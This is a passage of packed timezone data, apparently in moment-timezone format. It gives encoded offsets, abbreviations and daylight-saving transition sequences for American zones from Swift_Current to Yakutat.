Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|11e4","America/Swift_Current|LMT MST MDT MWT MPT CST|7b.k 70 60 60 60 60|012134121212121212121215|-2AD4M.E uHdM.E 1in0 UGp0 8x20 ix0 1o10 17b0 1ip0 11z0 1o10 11z0 1o10 11z0 isN0 1cL0 3Cp0 1cL0 1cN0 11z0 1qN0 WL0 pMp0|16e3","America/Tegucigalpa|LMT CST CDT|5M.Q 60 50|01212121|-1WGGb.8 2ETcb.8 WL0 1qN0 WL0 GRd0 AL0|11e5","America/Thule|LMT AST ADT|4z.8 40 30|012121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2a5To.Q 31NBo.Q 1cL0 1cN0 1cL0 1fB0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|656","America/Vancouver|LMT PST PDT PWT PPT|8c.s 80 70 70 70|01213412121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tofL.w 1nspL.w 1in0 UGp0 8x10 iy0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|23e5","America/Whitehorse|LMT YST YDT YWT YPT YDDT PST PDT MST|90.c 90 80 80 80 70 80 70 70|0121213415167676767676767676767676767676767676767676767676767676767676767676767676767676767678|-2MSeX.M GWpX.M 1in0 1o10 13V0 Ser0 8x00 iz0 LCL0 1fA0 LA0 ytd0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1z90|23e3","America/Yakutat|LMT LMT YST YWT YPT YDT AKST AKDT|-eF.5 9i.T 90 80 80 80 90 